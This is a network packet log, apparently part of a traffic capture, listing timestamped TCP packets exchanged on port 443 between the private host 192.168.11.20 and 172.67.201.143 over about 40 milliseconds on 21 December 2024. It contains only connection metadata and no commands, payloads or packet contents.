Dec 21, 2024 19:23:05.505212069 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.505296946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.505429029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.505728006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.505738020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.505882025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.505959988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.505963087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.506053925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.506192923 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.506313086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.506323099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.506509066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.506652117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.506655931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.506794930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.507049084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.507056952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.507250071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.507253885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.507344007 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.507469893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.507926941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.507936001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508117914 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.508212090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.508212090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.508215904 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508486032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508495092 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.508497000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508501053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508690119 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.508776903 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508785009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.508806944 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.508810997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.509067059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.509901047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.509911060 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.510057926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.510133028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.510135889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.510224104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.510366917 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.510513067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.510523081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.510732889 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.510735989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.510823965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.510967970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.511270046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.511280060 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.511432886 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.511486053 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.511488914 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.511589050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.511720896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.512240887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.512249947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.512482882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.512482882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.512490034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.512558937 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.512579918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.512583017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.512696981 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.512698889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.512773037 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.512878895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.513158083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.513165951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.513345003 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.513391972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.513396025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.513475895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.513499975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.513607025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.513612032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.513672113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.513906002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.514386892 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.514394045 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.514580011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.514633894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.514636993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.514686108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.514826059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.514950037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.514956951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.515125990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.515130997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.515216112 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.515361071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.515923023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.515930891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.516073942 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.516149998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.516153097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.516158104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.516246080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.516251087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.516362906 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.516365051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.516467094 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.516736984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.516910076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.516915083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.517097950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.517105103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.517220974 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.517225981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.517312050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.517402887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.517545938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.517712116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.517823935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518014908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518037081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.518119097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.518122911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518260956 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.518510103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518517017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518716097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.518719912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518768072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518868923 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.518873930 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.518985987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.519470930 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.519479036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.519623995 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.519629955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.519704103 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.519794941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.519973993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.519980907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.520103931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.520184994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.520189047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.520276070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.520765066 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.520773888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.520977974 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.520982981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.521069050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.521543026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.521549940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.521691084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.521697044 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.521770000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.521874905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.522329092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.522336960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.522562027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.522566080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.522706985 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.523129940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.523138046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.523314953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.523392916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.523392916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.523397923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.523642063 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.523650885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.523850918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.523857117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.523941994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.524373055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.524379969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.524524927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.524529934 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.524682999 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.525120974 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.525127888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.525281906 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.525382042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.525386095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.525667906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.525677919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.525801897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.525805950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.525888920 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.525993109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.526186943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.526195049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.526330948 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.526489973 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.526494980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.526915073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.526923895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.527112007 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.527117968 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.527189970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.527599096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.527606010 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.527765989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.527770996 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.527864933 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.527959108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.528213024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.528220892 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.528359890 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.528462887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.528466940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.528543949 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.528808117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.528815985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.528958082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.528963089 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.529037952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.529141903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.529346943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.529494047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.529499054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.529593945 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.529597998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.529663086 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.530119896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.530127048 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.530323029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.530328035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.530481100 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.530745029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.530752897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.530946970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.530951023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.531044960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.531336069 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.531344891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.531480074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.531485081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.531557083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.531663895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.531811953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.531819105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.531938076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.532025099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.532030106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.532119036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.532388926 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.532398939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.532572031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.532577991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.532675028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.533098936 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.533106089 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.533251047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.533324957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.533329964 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.533418894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.533669949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.533678055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.533819914 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.533824921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.533896923 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.533993959 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.534002066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.534004927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.534008026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.534121037 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.534212112 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.534302950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.534813881 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.534822941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.534950972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.535028934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.535032988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.535135031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.535583973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.535593987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.535731077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.535736084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.535808086 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.535898924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.535906076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.535912991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.535917044 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.536015987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.536109924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.536252022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.536662102 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.536669970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.536809921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.536902905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.536907911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.536998987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.537395954 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.537404060 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.537554026 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.537559032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.537631035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.537734985 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.537946939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.537954092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538064003 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538139105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.538144112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538243055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.538283110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538341999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538383007 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.538388014 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538489103 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.538593054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.538964033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.538971901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.539113998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.539191008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.539194107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.539282084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.539424896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.539839029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.539846897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540061951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.540066957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540153027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.540292978 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.540396929 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540405035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540618896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.540623903 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540712118 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.540767908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540777922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540853024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.540857077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.540997982 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.541089058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.541524887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.541532993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.541737080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.541742086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.541830063 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.541980028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.543349981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.543358088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.543508053 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.543585062 CET	49743	443	192.168.11.20	172.67.201.143
